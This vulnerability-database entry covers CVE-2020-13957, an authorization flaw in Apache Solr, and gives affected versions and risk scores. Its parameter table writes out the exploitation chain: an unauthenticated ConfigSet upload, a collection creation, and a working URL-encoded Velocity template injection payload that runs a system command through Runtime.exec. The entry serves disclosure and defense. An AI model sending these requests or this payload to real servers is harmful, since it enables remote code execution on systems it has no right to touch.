CVE-2020-13957
🗓️ 13 Oct 2020 18:28:52Reported by apacheType 
cve🔗 web.nvd.nist.gov📰️ 2 Media mentions👁 2291 Views🌐 WEB
10
[
{
"product": "Apache Solr",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "Apache Solr 6.6.0 to 6.6.6, 7.0.0 to 7.7.3, 8.0.0 to 8.6.2"
}
]
}
]10
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| action | upload data | /solr/admin/configs?action=UPLOAD&name=myConfigSet | Upload a ConfigSet via Solr Configs API; the vulnerability arises when an unauthenticated UPLOAD is combined with other actions to enable remote code execution. | CWE-863 |
| name | upload data | /solr/admin/configs?action=UPLOAD&name=myConfigSet | Upload a ConfigSet via Solr Configs API; the vulnerability arises when an unauthenticated UPLOAD is combined with other actions to enable remote code execution. | CWE-863 |
| action | query param | /solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet | Create a collection via the CREATE action to leverage the uploaded ConfigSet for potential RCE. | CWE-863 |
| v.template.custom | query param | /solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end | Velocity template injection via v.template.custom in a Solr select request can trigger remote code execution. | CWE-863 |
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17 Jun 2026 02:54Current
9.3Critical risk
Vulners AI Score9.3
CVSS 27.5
CVSS 3.19.8
EPSS0.79342